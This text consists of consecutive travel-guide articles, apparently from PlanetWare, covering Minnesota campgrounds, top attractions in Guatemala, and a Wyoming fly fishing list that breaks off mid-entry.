The state park also connects with the Willard Munger State Trail. The campground is located near one of the most popular hikes of the park, the Silver Creek Trail, which includes crossing over a scenic bridge that swings above the St. Louis River. Address: 780 MN-210, Carlton, Minnesota Official site: https://www.dnr.state.mn.us/state_parks/park.html?id=spk00187#homepage

4. Portsmouth Campground, Cuyuna Country State Recreation Area

Huntington Mine Lake

Serving as one of Minnesota's newest state recreation areas, Cuyuna Country is quickly becoming one of the most popular. This former iron mine encompasses abandoned pits now filled with turquoise-tinted water and 25 miles of some of the best mountain bike trails in Minnesota. The best way to experience it all is by staying at the Portsmouth Campground within its boundaries.

Portsmouth Campground is on the eastern side of the 5,000-acre Cuyuna Country State Recreation Area and near the shores of Portsmouth Mine Lake. The campground features 18 electric sites, 15 non-electric sites, and four walk-in sites.

All campsite occupants at Cuyuna Country share freshwater facilities, and more notably, quick access to all the recreational opportunities within Cuyuna Country.

The State Recreation Area includes more than 20 natural and manmade lakes, an abundance of mountain bike singletrack trails, and generous views that stretch beyond the horizon.

The neighboring community of Ironton makes for a great basecamp, with camping supplies and bike rentals. Cuyuna Country also has three seven-person yurts, which are available year-round. Address: 307 3rd Street, Ironton, Minnesota Official site: http://www.dnr.state.mn.us/state_parks/cuyuna_country/index.html

5. Afton State Park Backpack Sites Editor's Choice

One of 27 backpack sites at Afton State Park | Photo Copyright: Brad Lane

Located less than a half hour east of Saint Paul, Afton State Park is a popular prairie-filled park that attracts campers from the Twin Cities and beyond.

What makes the campgrounds at Afton unique within the Minnesota state park system is that they are only available for those willing to backpack their gear to the sites. The 27 backpack sites at Afton State Park are located less than a mile from the parking lot, and all include a picnic table, fire ring, and plenty of space to pitch a tent or two.The campsites also share access to a communal pit toilet and water spigot.

The backpack sites at Afton vary from shaded to exposed, and all offer views and access to the surrounding wooded and prairie environments. This includes the extensive trail system that winds its way through the park.

No campsite is a direct neighbor to another, offering more privacy than your average campground, but it's not uncommon to hear the crackle of a nearby campfire throughout the night, reminding you that you're not completely alone in the woods. Address: 6959 Peller Ave S, Hastings, Minnesota Official site: http://www.dnr.state.mn.us/state_parks/afton/index.html

6. Wild River State Park Campground

One of Wild River State Park's many river views | Photo Copyright: Brad Lane

Situated along 18 miles of the St. Croix River, Wild River State Park is one of the larger state parks in Minnesota. Amid the many hiking, horseback, and canoeing opportunities, it also has an abundance of worthwhile camping spots.

While Wild River does have a wide variety of backcountry camping sites only accessible by non-motorized transportation, the most popular spots are at the Wild River State Park Campground, with more than 90 sites.

A third of the camping sites within the Wild River State Park Campground provide electricity, and all include a picnic table, fire ring, and plenty of space to pitch a tent or park an RV.

Despite the high number of spaces available, advanced reservations are strongly encouraged at Wild River State Park, especially on the weekends. But with 6,000 acres to explore and wild waters to paddle, there's plenty of room at the park to explore by yourself. Address: 39797 Park Trail, Center City, Minnesota Official site: http://www.dnr.state.mn.us/state_parks/wild_river/index.html

7. Itasca State Park

Mississippi Headwaters in Itasca State Park

Home to the Headwaters of the mighty Mississippi River, this popular state park is also host to several scenic camping options. Located in the northern part of the state, 30 miles southwest of Bemidji, Itasca State Park features over 200 sites ranging from RV-accessible to walk-in only.

Campsites are split between two campgrounds within Itasca: the Bear Paw Campground and the Pine Ridge Campground.

All campers have access to a range of amenities, including flushing restrooms and hot showers. Campers also have access to potable water and playground areas throughout the campgrounds. More importantly, campers have quick access to the vast expanse of Itasca State Park, including more than 100 lakes and 50 miles of hiking trails. Address: 36750 Main Park Drive, Park Rapids, Minnesota Official site: https://www.dnr.state.mn.us/state_parks/park.html?id=spk00181#homepage

8. Fall Lake Campground, Superior National Forest

Fall Lake Campground, Superior National Forest

There is no shortage of campsites within the Superior National Forest of northern Minnesota. Throughout this rugged and wild part of the country, overnight visitors have a wide variety of camping options ranging from boat-access-only backcountry sites to RV-accommodating campgrounds with modern amenities.

Fall Lake Campground, located just east of Ely, is a great example of a contemporary campground within the Superior National Forest.

The campground features clean water and flushing toilets, and all 64 campsites provide picnic tables, tent pads, and fire rings. The campground also provides spectacular North Woods scenery, including the forested shoreline of Fall Lake.

What really makes Fall Lake Campground so great, however, is its immediate access to the Boundary Waters Canoe Area Wilderness. With just a single paddle stroke, campers at Fall Lake Campground can find themselves exploring the Boundary Waters.

Additional permits are required to spend the night in the Boundary Waters Canoe Area Wilderness. This proximity to such a vast expanse of waterways makes Fall Lake one of the best campgrounds near the Boundary Waters Canoe Area. Address: Fall Lake Road, Ely, Minnesota Official site: https://www.fs.usda.gov/recarea/superior/recarea/?recid=37045

9. Lakeview Campground, Father Hennepin State Park

A floating dock on the shores of Mille Lacs Lake near Lakeview Campground | Photo Copyright: Brad Lane

Situated on the shores of Mille Lacs Lake, Father Hennepin State Park is named after a 17th-century priest who first wrote about the area. Mille Lacs Lake is one of the largest inland lakes in Minnesota, and the Lakeview campground within Father Hennepin State Park gives overnight users a front row seat to it all. Split between non-electrical and electrical, the 60 campsites at Lakeview all share access to flushing toilets, showers, and water spigots.

The campground also provides easy access to Mille Lacs Lake in the form of a fishing pier and places to moor a boat. Tents, pop-up campers, and RVs up to 60 feet long are welcome at Father Hennepin. If the Lakeview Campground is full when you go to reserve a spot, the Maple Grove Campground hosts another 40 campsites nearby.

Camping reservations at Father Hennepin State park, and all state parks in Minnesota, can be made one year in advance. Address: 41296 Father Hennepin Park Road, Isle, Minnesota Official site: http://www.dnr.state.mn.us/state_parks/father_hennepin/index.html

10. Glendalough State Park

Glendalough State Park

In western Minnesota, approximately two hours northwest of St. Cloud, this scenic state park offers a true chance to get away with cart-in and canoe sites available. Avoiding the hustle and bustle of the usual drive-in campsites, the more remote offerings at Glendalough State Park feature quiet surroundings and easy connection to nature. All 22 cart-in sites at Glendalough have access to potable water and restroom facilities with hot showers.

In the transition zone between Minnesota prairie and the hardwood forests to the north, Glendalough State Park is also surrounded by several bodies of water. The nearby Annie Battle Lake is a 335-acre non-motorized lake that is popular with canoes and kayaks. Campers have quick access to the water, as well as a paved bike trail that skirts the lake. Address: 25287 Whitetail Ln, Battle Lake, Minnesota Official site: https://www.dnr.state.mn.us/state_parks/park.html?id=spk00167#homepage

11. Cedar Hill Campground, Whitewater State Park

Cedar Hill Campground, Whitewater State Park | Photo Copyright: Brad Lane

There are many factors that make Whitewater State Park one of the best state parks in Minnesota. Between the bluff-lined hiking trails and churning waters of the Whitewater River, what really ties everything together at Whitewater State Park are its spacious and scenic campsites.

More than 100 campsites are available, and the most abundant and most popular sites fall within the Cedar Hill Campground. The reservable campsites at Cedar Hill abut the Whitewater River and provide immediate access to activities like tubing, wading, and fishing.

Two communal sanitation buildings are located within Cedar Hill Campground, and another can be found in the neighboring Gooseberry Glen Campground. All three provide toilets, showers, and clean water throughout the camping season.

Every campsite at Whitewater State Park provides a picnic table and fire ring, and they vary from pull-in to pull-through, with a few requiring a short walk from a parked car.

For those looking for more solitude, on the other side of the river from the Cedar Hill and Gooseberry Glen Campgrounds, Whitewater State Park also offers six walk-in sites averaging 500 yards from the parking area. These quiet campsites allow for a little more space and just as many views.

Whitewater State Park also features winter-ready camper cabins for cross-country and snowshoe enthusiasts to enjoy in the off season. Address: 19041 MN-74, Altura, Minnesota Official site: http://www.dnr.state.mn.us/state_parks/whitewater/index.html

12. Stony Point Campground, Chippewa National Forest

A pop-up tent next to Leech Lake at the Stony Point Campground | Photo Copyright: Brad Lane

Easily accessed from the city of Walker, three hours north of Minneapolis, the Stony Point Campground places visitors onto the shores of Leech Lake. The campground is a great launching point into the surrounding Chippewa National Forest. The campground features 44 reservable sites all sharing access to the lake, as well as flush toilets, shower stations, and clean drinking-water spigots.

RVs are welcome at Stony Point, and campers are encouraged to use the boat ramp and two different harbors. The campground also provides easy access to a swimming beach and picnic area. The campground doesn't just entice anglers, however. With hiking and biking trails like the North Country Trail and Paul Bunyan State Trail surrounding the area, the campground is also popular for those that like to explore on foot. Address: 5510 US-2, Cass Lake, Minnesota Official site: https://www.fs.usda.gov/recarea/chippewa/recarea/?recid=26820

More Related Articles on PlanetWare.com

Other Adventures in Minnesota: The state of Minnesota is the Land of 10,000 lakes and there's much to explore. For an overview of the top spots for adventure in Minnesota, our guide to the best state & national parks in Minnesota highlights the varied terrain found throughout the state.

More Places to Visit in Minnesota: The cultural capital of the state, Minneapolis, is one of the first places to head for city attractions and events. In southern Minnesota, the city of Rochester, home to the world-famous Mayo Clinic, is also a fun place to visit throughout the year.
15 Top-Rated Tourist Attractions in Guatemala

Written by Lana Law and Michael Law

Updated Jul 26, 2022

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Guatemala is one of those rare finds, with a good mix of travel options to satisfy adventurers, culture seekers, beach worshippers, and travelers looking for a little relaxation. The country is a cultural hot spot in Central America, from the colonial architecture and cobbled streets of Antigua Guatemala to the Mayan ruins of Tikal.

Small towns in the highlands and on the shores of beautiful Lake Atitlan offer a chance for unique cultural experiences. Tropical jungles, active volcanoes, mountain lakes, cloud forests, coral reefs, and beaches will entice nature lovers.

If you venture down to the coasts, you'll encounter beaches ideal for relaxing and finding solitude in a hammock. Throughout the country are markets with local goods for sale, particularly textiles; these only operate on certain days of the week.

Discover the best places to visit in this beautiful country with our list of the top tourist attractions in Guatemala.

1. Mayan Ruins of Tikal

Mayan Ruins of Tikal

In the humid jungle of northern Guatemala, near the border of Belize, stands one of the greatest archaeological sites in Central America. The well-preserved ruined city of Tikal is one of the best places to visit in Guatemala to learn about Mayan culture.

Tikal was occupied between approximately 600 BC and AD 900, and showcases more than 3,000 structures, ranging from pyramids and temples to plazas and an acropolis. It was one of the most important urban Mayan centers for more than a thousand years and is today one of the largest Mayan archaeological sites of its time period still in existence.

The experience of visiting Tikal is enhanced by the surroundings. Steep pyramids rise above the jungle's lush green canopy populated by birds, monkeys, and other wildlife. Tikal National Park, which encompasses the ruins, is a biosphere reserve, protecting rainforest and wildlife habitat.

Monkeys are prevalent at Tikal. You'll definitely see spider monkeys and, if you don't see the howler monkeys, you'll most certainly hear them. Accommodation: Where to Stay in Tikal National Park

2. Antigua Guatemala

Antigua Guatemala | Photo Copyright: Lana Law

If you're looking for a city to settle in for a bit, this is the place to come. With Quality hotels at reasonable rates, trendy restaurants serving excellent food, and plenty of things to do, it's easy to fill your days here.

Antigua Guatemala, often referred to simply as Antigua, is one of the highlights of Guatemala and certainly one of the most beautiful cities in Central America. Surrounded by three volcanoes, this former capital of Guatemala offers a unique glimpse of a city unblemished by modern day concrete buildings and high-rises.

Cobblestone streets are lined with old colonial buildings, some of which show evidence of the earthquakes that have contributed to the city's history. Everywhere in the old city center are incredible churches and convents.

While many of the buildings have been completely restored, some reveal cracks caused by past earthquakes, and some have been reduced to ruins. In many cases, the ruins have been creatively incorporated into more recently constructed buildings, some of which are now hotels. The city has interesting museums to explore along with beautiful old convents that are open to visitors. Accommodation: Where to Stay in Antigua

3. Lake Atitlan (Lago de Atitlan)

Lake Atitlan (Lago de Atitlan) | Photo Copyright: Lana Law

Often described as the most beautiful lake in the world, Lake Atitlan is another destination where travelers tend to linger. Make the journey here and you won't be disappointed. You can easily spend a week or more sightseeing in the small towns and villages that ring the lake.

Lake Atitlan is located in the high country, less than a two-hour drive from Guatemala City and less than an hour and a half from Antigua. It sits in a volcanic crater 1,538 meters above sea level and is surrounded by hills and volcanoes, and many of the villages on the shores are only accessible by boat.

The prime entry point is the city of Panajachel. After exploring the main street, lined with all kinds of vendors selling their blankets and goods in stalls and alleyways, make your way to the waterfront to catch a water taxi.

Boats line up here to take passengers to the villages of San Pedro, Santiago Atitlan, San Andres Semetabaj, Santa Catarina Palopo, San Lucas Toliman, and even smaller secondary villages or private hotels. Each village is known for something different, but most have markets and local crafts.

Over the years, Atitlan has attracted many expats with an interest in alternative lifestyles. Spiritual or new age centers offer everything from yoga to metaphysical pursuits. If you are considering learning Spanish, schools are available and very reasonably priced.

Lake Atitlan's water levels are a mystery to scientists. Sometimes they go up unexpectedly and then for some reason they drop. Several theories exist but no one seems to be able to figure out the exact reason. If you find yourself at the lake during one of its high-water levels, be prepared for makeshift docks, and homes underwater. No matter the water level, it is crystal clear and generally warm enough for swimming year-round. Accommodation: Where to Stay near Lake Atitlan

4. Chichicastenango Market

Chichicastenango Market

Isolated Chichicastenango, known locally as "Chichi," is a large town surrounded by valleys and mountains. The sleepy cobblestone streets come alive on Thursdays and Sundays, as it hosts one of the largest and most hectic markets in Guatemala.

This is a locals' market, selling regular everyday goods, vegetables, and the distinctive textiles for which it is so famous. Vendors come from miles around for this market, making it a great opportunity for people watching and photography.

Chichicastenango is a 1.5-hour bus ride from Panajachel making it an easy day trip from Lake Atitlan. It takes about 2.5 hours from Guatemala City and 3.5 hours from Antigua.

5. Quetzaltenango

Aerial view of Quetzaltenango

Quetzaltenango, Guatemala's second-largest city, is the commercial center of southwestern Guatemala. More commonly called Xela, the town's major sights are the Parque Centro America and the Neoclassical buildings surrounding it. Most of these buildings, apart from the cathedral, stem from the era in the 19th century when Xela was a major trading and artistic community.

Top reasons to visit Quetzaltenango include studying Spanish and hiking in the nearby mountains. Walking up Volcan Tajumulco, Central America's highest peak, is one of the more adventurous options.

In addition to being a relatively clean and safe city, Quetzaltenango's altitude of 2,333 meters ensures warm days, cool nights, and less mosquitoes. The city also serves as a base for excursions to the many nearby villages noted for their hot springs and handicrafts. Accommodation: Where to Stay in Quetzaltenango

6. Monterrico and the Biotopo Monterrico-Hawaii (Nature Reserve)

Monterrico Beach

The small coastal village of Monterrico, with its laid-back feel and lovely stretch of oceanfront, will appeal to anyone looking for some time at the beach and a little nature. Unlike the high inland regions, the area around Monterrico is hot and tropical. The beach here is dominated by big surf and not always ideal for swimming, but beautiful nonetheless.

The Biotopo Monterrico-Hawaii, or Monterrico Nature Reserve, is a nature reserve created to protect mangrove forests and sea turtles. Covering an area of both land and water, it's a habitat for a large variety of bird and aquatic life, including leatherback and Kemp's ridley turtles. Boat tours offer trips through the swamps and good opportunities for bird and wildlife viewing, particularly in the morning hours.

7. Pacaya Volcano, Antigua

Pacaya Volcano, Antigua

The Pacaya Volcano, rising to more than 2,550 meters, offers the chance to witness volcanic activity firsthand. Located near Antigua, this volcano been continuously active since 1975, and lava explosions constantly change its appearance.

Organized tours offer guided hikes on the volcano and an opportunity to roast marshmallows over the heat created by hot spots. It should be noted that, as an active volcano, hiking here does involve some risks. If you want to get to the top with less effort, horses are available.

8. Semuc Champey

Semuc Champey

This stunning spot, deep in the jungle, can be a bit difficult to get to but is worth the effort. A 300-meter limestone shelf creates natural pools in the river, perfect for a quick dip. The pools are a vibrant color of green or turquoise. The water is calm and warm, and the area is surrounded by dense forest full of wildlife.

Tours to this site can be arranged from Lanquin. Access is either via a 2.5-kilometer hike in the steamy jungle heat, or a bumpy 4X4 ride.

9. Livingston on the Caribbean Coast

Livingston

This small town of brightly painted wooden houses, found in the jungle among coconut groves, lies along Guatemala's Caribbean Coast. Livingston feels more like the Caribbean than the rest of Guatemala because of its population of Garifuna, descendants of escaped would-be slaves and the indigenous Maya.

They have created a distinctive culture and language. Caribbean rhythms abound and they increase during the month of May as a Garifuna pilgrimage arrives in town. Celebrations during Easter week and on December 12 (the feast day of the Virgin of Guadalupe) are also colorful events.

Livingston is the departure point for boat rides on the Rio Quehueche and Rio Cocoli or to the Cayos Sapodillas for snorkeling and fishing. The best beaches are just outside of town, easily reached by taxi. Accommodation: Where to Stay in Livingston

10. Museo Ixchel del Traje Indigena (Museum of Mayan Costumes), Guatemala City

Visit the Ixchel Museum of Mayan Costumes for an overview of traditional Guatemalan costumes, from ceremonial pieces to regular garments. The museum is on the Universidad Francisco Marroquin campus.

The vast collection of textiles dates to the end of the 19th century, originating from 120 Guatemalan communities. A collection of paintings illustrating the regional costumes complements the exhibits. The museum is named for the Mayan goddess of fertility and weaving. Address: 6A Calle 6, Guatemala City Official site: https://museoixchel.org/home Accommodation: Where to Stay in Guatemala City

11. Grutas de Lanquin (Lanquin Caves)

Grutas de Lanquin (Lanquin Caves)

The Lanquin Caves, northeast of Coban, are deep limestone caverns containing an underground river with various lagoons and unique rock formations. You can tour a portion of the cave, which has some rugged walkways and low lighting.

Thousands of bats make their home here and provide an interesting spectacle as they leave in a nightly mass exodus from the cave to feed in the nearby forest. If you are interested in seeing this unique site, plan to tour the cave in the late afternoon and then hang around until sunset.

A religious shrine is also contained within the caves, which are considered sacred by the local indigenous people.

12. Museo Popol Vuh, Guatemala City

Museo Popol Vuh, Guatemala City | Andrea_GR / photo modified

If you have some time in Guatemala City and want to learn about Mayan culture, one of the most interesting places to enjoy a few hours at is the Museo Popol Vuh. This is one of the leading museums in the world of Mayan art, housing a valuable and comprehensive collection of both Mayan and colonial art. On display are a large collection of masks, pottery, gems, tools, and sculptures.

The Museo Popol Vuh is located on the campus of the Universidad Francisco Marroquin in Zone 10. Address: 6 Calle Final zona 10, Universidad Francisco Marroquin

13. Mayan Ruins of Iximche

Mayan ruins in Iximche

If you are visiting Antigua and don't have the time or money to head to the Mayan ruins at Tikal, Iximche, only an hour away, is a good stand in. Much smaller than Tikal, but still quite impressive to a first-time visitor, these ruins are over 550 years old, dating from 1470.

Iximche was once the capital city of the Kaqchikel Maya kingdom. At the site, you'll find two ball courts and several pyramid temples, all very well preserved and restored. Also on-site is a small museum showcasing historical items found here.

14. Casa Santo Domingo Museums

For an insight into some of the local history, stop by the Casa Santo Domingo Museums in Antigua. Located in an old convent that's been wonderfully restored, the facility has six museums consisting of rooms that thoughtfully present historical items from the Mayan people and also the Spanish.

Items on display include pharmaceutical instruments, local artwork, glass items, ceramics, Conquistador artwork, and Mayan Artwork. If you work up an appetite while touring the museums, an on-site restaurant serves up fine food in a pleasant garden setting.

15. Choco Museo (Chocolate Museum)

Cafe at the Choco Museo in Antigua | Autumn Sky Photography / Shutterstock.com

Guatemala produces a significant amount of cacao, a critical ingredient in the production of chocolate. The Choco Museo in Antigua is a fun experience for chocolate lovers. The museum, a term that is perhaps somewhat misplaced, as this is more of a shop, is a good place to learn how the raw fruit pod is processed into the final product.

To truly experience the chocolate making process, it's best to sign up for one of their classes. Not only will you learn about the process, but you'll actually end up making your own chocolate bars, an enjoyable family thing to do in Antigua.
11 Top-Rated Fly Fishing Destinations in Wyoming

Written by Karen Hastings

Mar 10, 2020

Wyoming stars in the fantasies of freshwater fly anglers around the globe. More than 27,000 miles of fishable wild rivers and crystal-clear trout streams slice through this sparsely populated state, and trout lakes sparkle amid soaring peaks and high mountain meadows.

Names like the Snake, the North Platte, and the Green River are legendary among fly anglers for their big fish and beautiful settings. In fact, some of the state's best fisheries lie in the country's most spectacular wilderness areas. Yellowstone National Park holds one of the planet's highest concentrations of public lakes and streams, and Grand Teton National Park, the Wind River Range, and the Bighorn Mountains are home to rivers, streams, and lakes brimming with fish.

More than 22 species of gamefish swim in Wyoming's waters, but the state is most famous for its trout, including cutthroat, brook, brown, lake, and rainbow trout. Cutthroat is the only trout native to Wyoming, and if you catch all four native subspecies you can earn a Cutt-Slam certificate from Wyoming Game and Fish Department.

Fly fisherman at sunset near Yellowstone National Park

Before you venture out on your fly fishing adventure, note that in Wyoming, anglers on waters that flow through private land must remain in their vessels. Shore fishing or wading is only allowed with permission from the landowner.

Also a word of caution: many of these fishing destinations are in prime bear habitat. Always pack bear spray and stay a safe and respectful distance from wildlife. Finally, for local conditions, Wyoming trout fishing regulations, permits, guided trips, and recommended fly patterns, contact local fly fishing shops in each region.

Find the best places to cast your line with our list of the top fly fishing destinations in Wyoming.

1. Yellowstone National Park

Firehole River

One of the world's great wilderness areas, Yellowstone National Park is legendary for its fantastic fly fishing in a truly awe-inspiring setting of sprawling meadows, steep canyons, and steaming geysers. Few places in the world offer such a high concentration of public lakes and streams.

The park's geothermal activity raises the alkalinity of the streams nurturing healthy populations of trout and providing prime fishing opportunities. You can cast for seven different varieties of game fish in the park, including cutthroat, brown, brook, rainbow, and lake trout, as well as mountain whitefish and grayling. Only the latter two species and cutthroat are native to the park, however Yellowstone hasn't been stocked since the 1950s.

Seasonal fluctuations determine the best fishing spots. Anglers keen to fish in the spring should head to the Firehole River for nymph fishing, as it's the first to clear from snow melt  usually in May after Memorial Day weekend.

In early June, the Madison and Gibbon Rivers and Yellowstone Lake are usually ready to fish, and by July, most park waters are clear and fishable. July and August are the prime months, with typically clear weather and frequent hatches. August is also the best time to fish the lakes (Heart Lake is a favorite).

During September and October, the Lamar River and Slough Creek are prime spots as are the Firestone and Madison, when their water temperature drops. October is also great for catching large migrating fish in the Lewis River. Fly fishing in this area of Wyoming in September and October is also when wildlife can be quite active. Keep a keen eye out for bison, especially in the river meadows, as well as both grizzlies and black bear. Accommodation: Where to Stay near Yellowstone NP: Best Areas & Hotels Read More:

Visiting Yellowstone National Park: Attractions, Tips & Tours

2. Jackson Hole Editor's Pick

Snake River cutthroat

Jackson Hole offers access to some of the most diverse fly fishing opportunities in the United States. True to its name, the Snake River slithers through the valley, offering fantastic fishing nooks with populations of Snake River fine-spotted cutthroat, as well as small numbers of brown trout.

Famous for its large dry fly fishing, the river is the heart of the watershed. It's ideal for fast-paced float fishing, but also provides access for wading.

The best times to fish the Snake River are early spring before the runoff and mid-summer through October after the runoff. The Snake River also runs through Grand Teton National Park with plenty of productive water and incredible scenery.

In the National Elk Refuge, two miles north of the town of Jackson, Flat Creek is Wyoming's first fly-fishing-only stream. If you're looking for some DIY fly fishing in Jackson Hole, this is a great spot. It's a challenging creek to fish due to its clear, calm water, but sight fishing is excellent and it can yield big Snake River cutthroat and great dry fly action. Casting is also made easy by the absence of vegetation along the river. This section of Flat Creek opens August 1 through October 31.

Easily accessible from Highway 191, the Hoback River is a great place to cast if you're a beginner, with easy access for wading and a good population of receptive Snake River cutthroat. The Gros Ventre River is also a popular fishing source in the area, also due to its easy accessibility. Unlike the Hoback River, the Gros Ventre lies farther from the road and offers a more peaceful fishing experience.

Other prime areas near Jackson include the Buffalo River, Pacific Creek, and beginner-friendly Granite Creek.

Due to runoff from snowmelt, timing is an important element in planning a fly fishing trip to Jackson Hole. Depending on the area, runoff usually begins around mid-May and continues into the beginning of July. Accommodation: Top-Rated Places to Stay in Jackson Hole Read More:

Top-Rated Tourist Attractions in Jackson Hole

3. Pinedale

A brown trout from the Upper Green River

At the foot of the magnificent Wind River Mountains, the little ranching town of Pinedale provides access to some of the state's most hallowed fishing grounds, including the Green River and the New Fork. Both rivers offer excellent drift boat fishing and wading, and you can also cast from the bank.

The Green River, with riffles, runs, pocket water, and pools, is by far the largest of the two rivers. It begins its journey in the northern Wind River Range, and its upper reaches lie in the Bridger-Teton National Forest. Outside of this area, much of the river flows through private land, so it's important to check for public access. You'll find eight miles of public access just upstream from Warren Bridge on Highway 187, north of Daniel.

The New Fork flows from New Fork Lakes to the Green River and is well suited to more experienced anglers. Fish species found in the Pinedale area include native Colorado cutthroat and mountain whitefish, as well as brown, golden, rainbow, brook, and lake trout.

Fishing season on the Green usually begins around mid-June. Trips into the west side of the rugged and beautiful Wind River Range also leave from Pinedale.

4. The Wind River Range

Fly fisherman in the Wind River Range

With countless high-elevation lakes, beautiful streams, and wild rivers, the Wind River Range in Western Wyoming offers a rewarding fly fishing adventure in a setting of timeless beauty. Soaring 13,000-foot peaks and abundant wildlife add an edge to fishing in this remote location, and it's a great destination to explore on a backpacking or guided horseback trip.

Fish species found here include cutthroat trout, brook, rainbow, and notoriously big golden trout. Wyoming's record 11-pound golden trout was hooked here at Cook Lakes in 1948. Though this species of fish hasn't been stocked here since the 1990s, they still thrive in certain lakes  especially on the west side of the range.

The east side of the range, from Dubois south to Lander, is less frequently fished and more difficult to access due to the Wind River Indian Reservation, which borders it. You need to purchase a tribal license and hire a tribal guide to access trailheads within the reservation. However, you may be well rewarded for the effort, as the Fitzpatrick Wilderness Area, best accessed over the reservation, has some of the prime lakes with the biggest goldens.

Spring and fall are the best times to fish this region, although the weather is not reliable at this time of the year. Snow can render some lakes inaccessible until August.

5. Miracle Mile and the Gray Reef, North Platte River

Miracle Mile and the Gray Reef, North Platte River | Bureau of Land Management / photo modified

Names like the Miracle Mile and the Gray Reef on the North Platte River are legendary among fly anglers. The North Platte River is a tailwater fishery, so fishing is possible at any time of year, however fish spawn here, so take care not to disturb the eggs when wading these waters. Rainbow trout spawn during the spring, and brown trout spawn during the fall.

In remote Central Wyoming, about 60 miles from Casper, the easily accessible Miracle Mile section of the North Platte actually extends for five to eight miles and is famous for its fighting trophy trout. Fish thrive in these waters due to the plentiful food, cold water, and relatively low fishing pressure, and the dominant species are rainbow trout, brown trout, and cutthroat.

Miracle Mile is predominantly a nymph fishery, but large streamer patterns are a good choice for luring bigger fish. Dry fly fishing yields success on the right days. Features of the river include pocket water, riffles, runs, and large boulders. River flows can vary dramatically here, so make sure you check conditions before heading out.

Near the town of Alcova, the Gray Reef is a tailwater section of the North Platte River, famous for its huge rainbows, browns, and cutthroats. Fish from eight to 12 pounds are frequently hooked here. Nymph fishing, dry fly fishing, and streamer fishing all yield success. Access can be difficult here due to private land ownership, so floating the river in a drift boat is the best way to fish these waters.

6. Grand Teton National Park

Fly fisherman trying his luck at Jenny Lake, Grand Teton National Park

Crowned by the jagged peaks of the Teton Mountain Range, Grand Teton National Park, about 10 minutes from the town of Jackson, offers one of the most spectacular settings for fly fishing in the country. The Snake River flows through the park, offering plenty of bends and banks for shore fishing and a breathtaking drift boat experience.

Also within the park, Jenny Lake offers easy access for anglers and more stunning scenery. You can fish for both cutthroat and lake trout from the banks on the hiking trail that rings the lake, or launch a boat from the ramp on the lake's south side. The best time to fish this lake is after the ice melts, which typically occurs around mid May.

Jackson Lake also offers decent fly fishing for lake trout and mackinaw after the ice melts in the spring, before the water warms up and the fish swim deeper. Fishing from shore can be successful at this time, as the fish swim the shallow waters in search of baitfish. A state record 50-pound mackinaw was caught here. From mid-September when the water temperatures start to drop, the lake trout begin to spawn, and the lake is closed during October to protect spawning Mackinaws.

Fly fishing for cutthroat and lake trout in Leigh Lake is best from a canoe since the lake lacks shore access. You can paddle from String Lake to the portage point, then carry the canoe the short distance to Leigh Lake. The ice typically melts here around mid-May. Anglers will also find a couple of productive streams to fish within the park's borders. Official site: http://www.nps.gov/grte/planyourvisit/fish.htm Accommodation: Where to Stay near Grand Teton NP: Best Areas & Hotels

7. Tongue River, Bighorn Mountains

Tongue River, Bighorn Mountains

High in the Bighorn Mountains of north-central Wyoming, the Tongue River is a tributary of the Yellowstone River. Steeped in Native American history, it's often overlooked by anglers but yields fantastic fishing for all abilities in a beautiful setting.

The river starts in the Bighorn National Forest, west of Sheridan, and was named for a distinctive rock formation that the Crow Indians thought resembled the tongue of a bison. You can access most of the fishing spots from the Bighorn Scenic Byway. In the South Tongue, fish species are mostly small rainbows, browns, and brook trout, and the latter can be kept for the frying pan.

Fly fishing in the Bighorn Mountains can be excellent. The clear waters here feature pocket water, runs, and pools, and they're a great place for less experienced anglers. The fertile North Tongue waters yield much bigger fish, including cutthroats up to 20 inches, as well as rainbows, brown, and brook trout, but they are more challenging to hook.

Above the mouth of Bull Creek, all trout except brook trout are strictly catch-and-release. Accessible only on foot along rugged boulder-strewn trails, the section of the river that cuts through the steep-walled canyon serves up stunning scenery and supports healthy populations of rainbow and brown trout, as well as cutthroats.

Hiking deep into the canyon leads to some rarely-fished nooks in peaceful surroundings. The best time to fish the Tongue River is after the runoff ends, usually in early July, as well as early fall.

8. The Big Laramie and Little Laramie

The Big Laramie and Little Laramie | Bill Burleigh / photo modified

In southeastern Wyoming, the Big Laramie River is known for its excellent wild brown trout fishing, but sections of the river are also stocked with rainbow trout.

The most beautiful stretch of the Big Laramie River that's accessible to the public is the Jelm Access, 30 miles west of Laramie off Wyoming State Highway 230, then south on Wyoming State Highway 10 (near Woods Landing). This section of the river runs through a relatively small canyon with faster water, overhanging banks, and pocket water. Wading is the best way to fish these waters, and the best time is from mid-May to the beginning of July and in the fall.

The Little Laramie River can yield trophy trout, but they are far more challenging to catch. Stalking the fish is often required along this stretch. Access can also be a little more difficult due to the surrounding stretches of private land. Make sure you request permission from landowners or hire a private guide.

9. Flaming Gorge Reservoir

Flaming Gorge Reservoir

Stretching south from the town of Green River and slicing through the border between Wyoming and Utah, Flaming Gorge Reservoir offers a diversity of species and is known for its big fish.

The Green River feeds these waters, which flow through a steep red-walled canyon and are home to species such as Mackinaw trout, rainbow trout, tiger trout, channel catfish, Kokanee salmon, carp, burbot, and smallmouth bass. World record German brown trout were caught here in the 70s and 80s, as well as state record lake trout, brown trout, and rainbow trout. Today, trout in excess of 20 pounds are still hooked.

Early spring is the best time to fish for the trout species and salmon, while the bass are more active in the summer when the water is warmer. You can sight cast for carp in shallow water usually from June. Access to the reservoir is through Green River on highway 530 or the town of Rock Springs on highway 191. Both boat or shore fishing are possible here.

10. Bighorn River, Thermopolis

Bighorn River flowing through Wind River Canyon

The little town of Thermopolis is best known for its mineral pools at Hot Springs State Park, one of the top attractions in Wyoming, but it's also a top spot for fishing. Officially the Wind River becomes the Bighorn River at the "Wedding of the Waters," and only about 20 miles downstream of this offers water cool enough to support trout year-round.

Serenity, solitude, and a high density of large fish are the top draws at this remote tailwater of the Bighorn River, and anglers have the chance to hook rainbow, brown, and cutthroat trout here.

The Bighorn is open for fishing year-round and is excellent for dry-fly, nymph, and streamer fishing. March through July are the prime times, with heavy hatches and excellent dry-fly action. Fall fishing is also good.

Access to the river is made easy by the fact that the municipality owns most of the Bighorn River around Thermopolis, so you can wade upstream or downstream from public access points to cast your line, as long as you stay below the high-water mark. You can also float the river, but check with locals for details and dangers before you set out.

11. Two Ocean Creek, Teton Wilderness

Pacific Creek and the Teton Mountains

Adjacent to the south end of Yellowstone National Park, Teton Wilderness encompasses more than a half million acres and is home to a fascinating phenomenon found nowhere else on the continent. Along the Continental Divide here, the famous Two Ocean Creek forks and flows to two different oceans: the Atlantic and Pacific.

